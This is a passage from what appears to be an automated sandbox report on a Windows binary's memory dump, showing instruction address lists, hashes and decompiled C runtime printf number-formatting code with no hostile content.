								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								goto L179;
							}
						}
						L165:
						__eflags =  *(_t674 - 0x4a0);
						if( *(_t674 - 0x4a0) >= 0) {
							goto L167;
						}
						goto L166;
						L167:
						 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
						 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
						goto L168;
					}
				}
			}

0x0042a3ce
0x0042a3ce
0x0042a3ce
0x0042a3ce
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x0042a3ec
0x0042a3ec
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x0042a4ca
0x0042a4ca
0x0042a4d1
0x00000000
0x00000000
0x0042a4d3
0x0042a4d3
0x0042a4de
0x0042a4ec
0x0042a4f1
0x0042a4f7
0x0042a505
0x0042a522
0x0042a525
0x0042a52a
0x0042a52f
0x0042a535
0x0042a543
0x0042a543
0x0042a54c
0x0042a54c
0x0042a535
0x0042a552
0x0042a556
0x0042a567
0x0042a56a
0x0042a571
0x0042a573
0x0042a573
0x0042a558
0x0042a558
0x0042a558
0x0042a580
0x0042a586
0x0042a588
0x0042a588
0x0042a595
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x0042a5a8
0x0042a5ae
0x0042a5b4
0x0042a631
0x0042a63a
0x0042a643
0x0042a649
0x0042a64f
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x0042a684
0x0042a687
0x0042a68a
0x0042a68f
0x0042a694
0x0042a6ab
0x0042a6ae
0x0042a6c5
0x0042a6c8
0x0042a6cf
0x0042a6d3
0x0042a6d3
0x0042a6b0
0x0042a6b5
0x0042a6b9
0x0042a6b9
0x0042a696
0x0042a69b
0x0042a69f
0x0042a69f
0x0042a694
0x0042a6e3
0x0042a6ec
0x0042a6ef
0x0042a705
0x0042a70a
0x0042a70a
0x0042a720
0x0042a725
0x0042a72b
0x0042a72e
0x0042a733
0x0042a736
0x0042a74c
0x0042a751
0x0042a751
0x0042a736
0x0042a754
0x0042a758
0x0042a812
0x0042a825
0x0042a82a
0x00000000
0x0042a75e
0x0042a75e
0x0042a75e
0x0042a762
0x00000000
0x00000000
0x0042a768
0x0042a76b
0x0042a774
0x0042a77a
0x0042a77a
0x0042a789
0x0042a78f
0x0042a791
0x00000000
0x00000000
0x0042a793
0x0042a796
0x0042a7bb
0x0042a7c0
0x0042a7c3
0x0042a7c9
0x0042a7d0
0x0042a7de
0x0042a7f1
0x0042a7f6
0x0042a805
0x00000000
0x0042a805
0x0042a7d2
0x0042a7d2
0x00000000
0x0042a7d2
0x0042a810
0x0042a82d
0x0042a82d
0x0042a834
0x0042a839
0x0042a83c
0x0042a852
0x0042a857
0x0042a857
0x0042a83c
0x0042a834
0x0042a85a
0x0042a85a
0x0042a85e
0x0042a866
0x0042a86b
0x0042a86e
0x0042a86e
0x0042a875
0x0042a875
0x004299fb
0x00429a02
0x00429a0f
0x00429a14
0x00000000
0x00429a27
0x00429a31
0x00429a58
0x00429a3f
0x00429a50
0x00429a50
0x00429a31
0x00429a62
0x00429a68
0x00429a74
0x00429a77
0x00429a85
0x00429a88
0x00429a95
0x00429b3a
0x00429b40
0x00429b46
0x00429b4d
0x00000000
0x00000000
0x00429b53
0x00429b59
0x00000000
0x00429b60
0x00429b60
0x00429b7a
0x00429b7f
0x00000000
0x00000000
0x00429b87
0x00429b87
0x00429b8e
0x00429b91
0x00429b94
0x00429b97
0x00429b9a
0x00429b9d
0x00429ba0
0x00429ba7
0x00429bae
0x00000000
0x00000000
0x00429bba
0x00429bba
0x00429bc1
0x00429bcd
0x00429bd0
0x00429bd6
0x00429bdd
0x00000000
0x00000000
0x00429bdf
0x00429be5
0x00429be5
0x00429bec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429c30
0x00429c30
0x00429c37
0x00429c3a
0x00429c64
0x00429c67
0x00429c67
0x00429c71
0x00429c71
0x00429c75
0x00429c3c
0x00429c3c
0x00429c48
0x00429c4b
0x00429c4f
0x00429c51
0x00429c54
0x00429c54
0x00429c57
0x00429c5a
0x00429c5d
0x00429c5f
0x00429c5f
0x00429c62
0x00429c78
0x00000000
0x00000000
0x00429c7d
0x00429c7d
0x00000000
0x00000000
0x00429c89
0x00429c89
0x00429c90
0x00429c93
0x00429cb3
0x00429cb6
0x00429cb6
0x00429cc0
0x00429cc0
0x00429cc4
0x00429c95
0x00429c95
0x00429ca1
0x00429ca4
0x00429ca8
0x00429caa
0x00429caa
0x00429cb1
0x00000000
0x00000000
0x00429ccc
0x00429ccc
0x00429cd3
0x00429cdf
0x00429ce2
0x00429ce8
0x00429cef
0x00429e02
0x00000000
0x00429e02
0x00429cf5
0x00429cfb
0x00429cfb
0x00429d02
0x00000000
0x00429d39
0x00429d39
0x00429d3c
0x00429d3f
0x00429d42
0x00429d69
0x00429d69
0x00429d6c
0x00429d6f
0x00429d72
0x00429d96
0x00429d96
0x00429d99
0x00429d9c
0x00429d9f
0x00429dd8
0x00429de9
0x00000000
0x00429de9
0x00429da1
0x00429da1
0x00429da4
0x00429da7
0x00429daa
0x00000000
0x00000000
0x00429dac
0x00429dac
0x00429daf
0x00429db2
0x00429db5
0x00000000
0x00000000
0x00429db7
0x00429db7
0x00429dba
0x00429dbd
0x00429dc0
0x00000000
0x00000000
0x00429dc2
0x00429dc2
0x00429dc5
0x00429dc8
0x00429dcb
0x00000000
0x00000000
0x00429dcd
0x00429dcd
0x00429dd0
0x00429dd3
0x00429dd6
0x00429dda
0x00000000
0x00429dda
0x00000000
0x00429dd6
0x00429d74
0x00429d74
0x00429d77
0x00429d7b
0x00429d7e
0x00000000
0x00429d80
0x00429d83
0x00429d86
0x00429d8c
0x00429d91
0x00000000
0x00429d91
0x00429d7e
0x00429d44
0x00429d44
0x00429d47
0x00429d4b
0x00429d4e
0x00000000
0x00429d50
0x00429d53
0x00429d56
0x00429d5c
0x00429d61
0x00000000
0x00429d61
0x00000000
0x00429deb
0x00429deb
0x00429dee
0x00429df1
0x00000000
0x00000000
0x00429d09
0x00429d09
0x00429d0c
0x00429d0f
0x00429d12
0x00429d2b
0x00429d2e
0x00429d2e
0x00429d31
0x00429d14
0x00429d14
0x00429d17
0x00429d1a
0x00429d20
0x00429d26
0x00429d26
0x00000000
0x00000000
0x00429df6
0x00429df6
0x00429df9
0x00429df9
0x00429dff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429e07
0x00429e07
0x00429e0e
0x00429e14
0x00429e1a
0x00429e1d
0x00429e23
0x00429e2a
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00429e30
0x00429e36
0x00429e36
0x00429e3d
0x00000000
0x0042a1c1
0x0042a1c1
0x0042a1cf
0x0042a1cf
0x0042a1d2
0x00000000
0x00000000
0x00429e44
0x00429e47
0x00429e47
0x00429e4d
0x00429e4f
0x00429e52
0x00429e52
0x00429e55
0x00429e55
0x00000000
0x00000000
0x00429f8a
0x00429f8d
0x00429f8d
0x00429f92
0x00429f94
0x00429f97
0x00429f97
0x00429f9a
0x00429f9a
0x00000000
0x00000000
0x0042a387
0x0042a387
0x00000000
0x00000000
0x00429ef4
0x00429ef4
0x00429f00
0x00429f06
0x00429f0d
0x00429f1b
0x00429f1b
0x00429f21
0x00429f24
0x00429f30
0x00429f85
0x00000000
0x00429f85
0x00429f0f
0x00429f0f
0x00429f15
0x00429f19
0x00429f38
0x00429f38
0x00429f3e
0x00429f66
0x00429f6d
0x00429f73
0x00429f76
0x00429f79
0x00429f7f
0x00429f82
0x00429f40
0x00429f40
0x00429f46
0x00429f49
0x00429f4c
0x00429f52
0x00429f55
0x00429f58
0x00429f5a
0x00429f5d
0x00429f5d
0x00000000
0x00429f3e
0x00000000
0x00000000
0x0042a1d9
0x0042a1dc
0x0042a1df
0x0042a1e2
0x0042a1e8
0x0042a1eb
0x0042a1f2
0x0042a1f6
0x0042a201
0x0042a201
0x0042a205
0x0042a21c
0x0042a21c
0x0042a223
0x0042a225
0x0042a225
0x0042a22c
0x0042a22c
0x0042a233
0x0042a241
0x0042a244
0x0042a253
0x0042a256
0x0042a25a
0x0042a26f
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a265
0x0042a26a
0x0042a26a
0x0042a25a
0x0042a279
0x0042a27c
0x0042a27f
0x0042a282
0x0042a285
0x0042a288
0x0042a28e
0x0042a294
0x0042a29c
0x0042a29d
0x0042a2a0
0x0042a2a1
0x0042a2a4
0x0042a2a5
0x0042a2ac
0x0042a2ad
0x0042a2b0
0x0042a2b1
0x0042a2b4
0x0042a2b5
0x0042a2bb
0x0042a2bc
0x0042a2c2
0x0042a2c3
0x0042a2c9
0x0042a2cb
0x0042a2d1
0x0042a2d1
0x0042a2d6
0x0042a2d8
0x0042a2dc
0x0042a2de
0x0042a2e1
0x0042a2e6
0x0042a2e7
0x0042a2ea
0x0042a2eb
0x0042a2f1
0x0042a2f2
0x0042a2f8
0x0042a2fa
0x0042a2fa
0x0042a2dc
0x0042a2fd
0x0042a304
0x0042a307
0x0042a30c
0x0042a30c
0x0042a312
0x0042a314
0x0042a31c
0x0042a31d
0x0042a320
0x0042a321
0x0042a326
0x0042a327
0x0042a32d
0x0042a32f
0x0042a32f
0x0042a312
0x0042a332
0x0042a335
0x0042a338
0x0042a33b
0x0042a340
0x0042a345
0x0042a348
0x0042a34b
0x0042a34b
0x0042a34e
0x0042a34e
0x0042a351
0x0042a35d
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a67a
0x0042a207
0x0042a207
0x0042a20e
0x0042a211
0x00000000
0x00000000
0x0042a213
0x0042a213
0x00000000
0x0042a213
0x0042a1f8
0x0042a1f8
0x00000000
0x00000000
0x00429e58
0x00429e58
0x00429e63
0x00429e6b
0x00429e72
0x00429e75
0x00429e75
0x00429e78
0x00429ed8
0x00429e7a
0x00429e81
0x00429e87
0x00429e8d
0x00429e94
0x00429e97
0x00429e9d
0x00429ea5
0x00429ea7
0x00429eae
0x00429eb5
0x00429ebc
0x00429ec4
0x00429ec6
0x00429ec8
0x00429ec8
0x00429ecf
0x00429edf
0x00429ee5
0x00429ee8
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a365
0x0042a368
0x0042a36b
0x0042a36e
0x0042a3ec
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x0042a0ca
0x0042a0ca
0x0042a0d6
0x0042a0dc
0x0042a0e1
0x0042a0e3
0x0042a18d
0x0042a18d
0x0042a190
0x0042a190
0x0042a193
0x0042a1a7
0x0042a1ad
0x0042a1b3
0x0042a195
0x0042a195
0x0042a19b
0x0042a1a2
0x0042a1a2
0x0042a1b5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x0042a0e9
0x0042a0e9
0x0042a0e9
0x0042a0eb
0x0042a0f9
0x0042a0ed
0x0042a0ed
0x0042a0ed
0x0042a103
0x0042a109
0x0042a10f
0x0042a116
0x0042a118
0x0042a11d
0x0042a11f
0x0042a124
0x0042a129
0x0042a12b
0x0042a130
0x0042a133
0x0042a136
0x0042a138
0x0042a138
0x0042a136
0x0042a139
0x0042a140
0x0042a188
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a142
0x0042a142
0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x00000000
0x0042a17d
0x00000000
0x00000000
0x00000000
0x0042a380
0x0042a380
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x0042a377
0x0042a377
0x0042a3ec
0x0042a3ec
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x0042a4c8
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x0042a3ec
0x0042a3ec
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x0042a4c8
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x0042a93e
0x0042a94b
0x0042a94b
0x00429af2
0x00429a95
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x0042a651
0x0042a651
0x0042a655
0x0042a662
0x0042a668
0x0042a66e
0x0042a674
0x0042a674
0x0042a677
0x00000000
0x0042a677
0x0042a657
0x0042a65d
0x0042a660
0x00000000
0x00000000
0x00000000
0x0042a660
0x0042a5b6
0x0042a5b9
0x0042a5c3
0x0042a5d2
0x0042a5db
0x0042a5f1
0x0042a5f7
0x0042a5fd
0x0042a604
0x0042a60c
0x0042a60c
0x0042a612
0x0042a612
0x0042a621
0x0042a629
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x00000000
0x0042a5a6
0x0042a598
0x0042a4d5
0x0042a4d5
0x0042a4dc
0x00000000
0x00000000
0x00000000
0x0042a50a
0x0042a510
0x0042a51c
0x00000000
0x0042a51c
0x0042a3ec

APIs

_get_int64_arg.LIBCMTD ref: 0042A3FA
__aullrem.LIBCMT ref: 0042A5CA
__aulldiv.LIBCMT ref: 0042A5EC

Strings

9, xrefs: 0042A5FD

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 875d9276aceb678d35790264082a6777909220599d710b69e8c7ddc3376842c0
Instruction ID: 9a84acbb86bbd6df6bfb8962a89dda3913cac66ad49ddf22e41f30ba36bdfaad
Opcode Fuzzy Hash: 875d9276aceb678d35790264082a6777909220599d710b69e8c7ddc3376842c0
Instruction Fuzzy Hash: BD4118B1E00129AFDB24CF48D881BAFB7B5FF85314F404199E649A7240C7389E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00429148, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00429148(signed int __edx) {
				signed int _t463;
				signed int _t482;
				void* _t506;
				signed int _t510;
				signed int _t527;
				signed short _t528;
				signed int _t531;
				signed int _t534;
				signed int _t535;
				signed int _t579;
				signed int _t587;
				signed int _t589;
				signed int _t591;
				signed int _t598;
				signed int _t636;
				signed int _t639;
				void* _t641;
				void* _t642;
				signed int _t646;

				L0:
				while(1) {
					L0:
					_t587 = __edx;
					 *(_t639 - 8) = 0xa;
					L141:
					while(1) {
						L141:
						while(1) {
							L141:
							while(1) {
								L141:
								if(( *(_t639 - 0x10) & 0x00008000) == 0) {
									_t589 =  *(_t639 - 0x10) & 0x00001000;
									__eflags = _t589;
									if(_t589 == 0) {
										__eflags =  *(_t639 - 0x10) & 0x00000020;
										if(( *(_t639 - 0x10) & 0x00000020) == 0) {
											_t591 =  *(_t639 - 0x10) & 0x00000040;
											__eflags = _t591;
											if(_t591 == 0) {
												_t463 = E00429820(_t639 + 0x14);
												_t642 = _t641 + 4;
												__eflags = 0;
												 *(_t639 - 0x4a0) = _t463;
												 *(_t639 - 0x49c) = 0;
											} else {
												_t527 = E00429820(_t639 + 0x14);
												_t642 = _t641 + 4;
												asm("cdq");
												 *(_t639 - 0x4a0) = _t527;
												 *(_t639 - 0x49c) = _t591;
											}
										} else {
											_t636 =  *(_t639 - 0x10) & 0x00000040;
											__eflags = _t636;
											if(_t636 == 0) {
												_t528 = E00429820(_t639 + 0x14);
												_t642 = _t641 + 4;
												asm("cdq");
												 *(_t639 - 0x4a0) = _t528 & 0x0000ffff;
												 *(_t639 - 0x49c) = _t636;
											} else {
												_t531 = E00429820(_t639 + 0x14);
												_t642 = _t641 + 4;
												asm("cdq");
												 *(_t639 - 0x4a0) = _t531;
												 *(_t639 - 0x49c) = _t636;
											}
										}
									} else {
										_t534 = E00429840(_t639 + 0x14);
										_t642 = _t641 + 4;
										 *(_t639 - 0x4a0) = _t534;
										 *(_t639 - 0x49c) = _t589;
									}
								} else {
									_t535 = E00429840(_t639 + 0x14);
									_t642 = _t641 + 4;
									 *(_t639 - 0x4a0) = _t535;
									 *(_t639 - 0x49c) = _t587;
								}
								if(( *(_t639 - 0x10) & 0x00000040) == 0) {
									L158:
									 *(_t639 - 0x4a8) =  *(_t639 - 0x4a0);
									 *(_t639 - 0x4a4) =  *(_t639 - 0x49c);
									goto L159;
								} else {
									L154:
									_t646 =  *(_t639 - 0x49c);
									if(_t646 > 0 || _t646 >= 0 &&  *(_t639 - 0x4a0) >= 0) {
										goto L158;
									} else {
										L157:
										asm("adc edx, 0x0");
										 *(_t639 - 0x4a8) =  ~( *(_t639 - 0x4a0));
										 *(_t639 - 0x4a4) =  ~( *(_t639 - 0x49c));
										 *(_t639 - 0x10) =  *(_t639 - 0x10) | 0x00000100;
										L159:
										if(( *(_t639 - 0x10) & 0x00008000) == 0 && ( *(_t639 - 0x10) & 0x00001000) == 0) {
											 *(_t639 - 0x4a4) =  *(_t639 - 0x4a4) & 0x00000000;
										}
										if( *(_t639 - 0x30) >= 0) {
											 *(_t639 - 0x10) =  *(_t639 - 0x10) & 0xfffffff7;
											__eflags =  *(_t639 - 0x30) - 0x200;
											if( *(_t639 - 0x30) > 0x200) {
												 *(_t639 - 0x30) = 0x200;
											}
										} else {
											 *(_t639 - 0x30) = 1;
										}
										if(( *(_t639 - 0x4a8) |  *(_t639 - 0x4a4)) == 0) {
											 *(_t639 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t639 - 4)) = _t639 - 0x249;
										while(1) {
											L169:
											_t597 =  *(_t639 - 0x30) - 1;
											 *(_t639 - 0x30) =  *(_t639 - 0x30) - 1;
											if( *(_t639 - 0x30) <= 0 && ( *(_t639 - 0x4a8) |  *(_t639 - 0x4a4)) == 0) {
												break;
											}
											L171:
											asm("cdq");
											_t598 =  *(_t639 - 0x4a8);
											 *((intOrPtr*)(_t639 - 0x494)) = E00437DD0(_t598,  *(_t639 - 0x4a4),  *(_t639 - 8), _t597) + 0x30;
											asm("cdq");
											 *(_t639 - 0x4a8) = E00437D60( *(_t639 - 0x4a8),  *(_t639 - 0x4a4),  *(_t639 - 8), _t598);
											 *(_t639 - 0x4a4) = _t598;
											if( *((intOrPtr*)(_t639 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t639 - 0x494)) =  *((intOrPtr*)(_t639 - 0x494)) +  *((intOrPtr*)(_t639 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t639 - 4)))) =  *((intOrPtr*)(_t639 - 0x494));
											 *((intOrPtr*)(_t639 - 4)) =  *((intOrPtr*)(_t639 - 4)) - 1;
										}
										L174:
										 *(_t639 - 0x24) = _t639 - 0x249 -  *((intOrPtr*)(_t639 - 4));
										 *((intOrPtr*)(_t639 - 4)) =  *((intOrPtr*)(_t639 - 4)) + 1;
										__eflags =  *(_t639 - 0x10) & 0x00000200;
										if(( *(_t639 - 0x10) & 0x00000200) == 0) {
											while(1) {
												L178:
												__eflags =  *(_t639 - 0x28);
												if( *(_t639 - 0x28) != 0) {
													goto L203;
												}
												L179:
												__eflags =  *(_t639 - 0x10) & 0x00000040;
												if(( *(_t639 - 0x10) & 0x00000040) != 0) {
													__eflags =  *(_t639 - 0x10) & 0x00000100;
													if(( *(_t639 - 0x10) & 0x00000100) == 0) {
														__eflags =  *(_t639 - 0x10) & 0x00000001;
														if(( *(_t639 - 0x10) & 0x00000001) == 0) {
															__eflags =  *(_t639 - 0x10) & 0x00000002;
															if(( *(_t639 - 0x10) & 0x00000002) != 0) {
																 *((short*)(_t639 - 0x14)) = 0x20;
																 *(_t639 - 0x1c) = 1;
															}
														} else {
															 *((short*)(_t639 - 0x14)) = 0x2b;
															 *(_t639 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t639 - 0x14)) = 0x2d;
														 *(_t639 - 0x1c) = 1;
													}
												}
												 *((intOrPtr*)(_t639 - 0x4ac)) =  *((intOrPtr*)(_t639 - 0x18)) -  *(_t639 - 0x24) -  *(_t639 - 0x1c);
												__eflags =  *(_t639 - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													E004297E0(0x20,  *((intOrPtr*)(_t639 - 0x4ac)),  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
													_t642 = _t642 + 0x10;
												}
												E0042AA50( *(_t639 - 0x1c), __eflags, _t639 - 0x14,  *(_t639 - 0x1c),  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
												_t642 = _t642 + 0x10;
												__eflags =  *(_t639 - 0x10) & 0x00000008;
												if(( *(_t639 - 0x10) & 0x00000008) != 0) {
													__eflags =  *(_t639 - 0x10) & 0x00000004;
													if(( *(_t639 - 0x10) & 0x00000004) == 0) {
														E004297E0(0x30,  *((intOrPtr*)(_t639 - 0x4ac)),  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
														_t642 = _t642 + 0x10;
													}
												}
												__eflags =  *(_t639 - 0xc);
												if(__eflags != 0) {
													L199:
													E0042AA50( *(_t639 - 0x24), __eflags,  *((intOrPtr*)(_t639 - 4)),  *(_t639 - 0x24),  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
													_t642 = _t642 + 0x10;
													goto L200;
												} else {
													L192:
													__eflags =  *(_t639 - 0x24);
													if(__eflags <= 0) {
														goto L199;
													}
													L193:
													 *((intOrPtr*)(_t639 - 0x4b0)) =  *((intOrPtr*)(_t639 - 4));
													 *(_t639 - 0x4b4) =  *(_t639 - 0x24);
													while(1) {
														L194:
														 *(_t639 - 0x4b4) =  *(_t639 - 0x4b4) - 1;
														__eflags =  *(_t639 - 0x4b4);
														if( *(_t639 - 0x4b4) <= 0) {
															break;
														}
														L195:
														_t506 = E00423790(_t639 - 0x40);
														_t510 = E00439180(_t639 - 0x458,  *((intOrPtr*)(_t639 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t639 - 0x40))) + 0xac)), _t506);
														_t642 = _t642 + 0x10;
														 *(_t639 - 0x4b8) = _t510;
														__eflags =  *(_t639 - 0x4b8);
														if( *(_t639 - 0x4b8) > 0) {
															L197:
															E00429780( *(_t639 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
															_t642 = _t642 + 0xc;
															 *((intOrPtr*)(_t639 - 0x4b0)) =  *((intOrPtr*)(_t639 - 0x4b0)) +  *(_t639 - 0x4b8);
															continue;
														}
														L196:
														 *(_t639 - 0x44c) = 0xffffffff;
														break;
													}
													L198:
													L200:
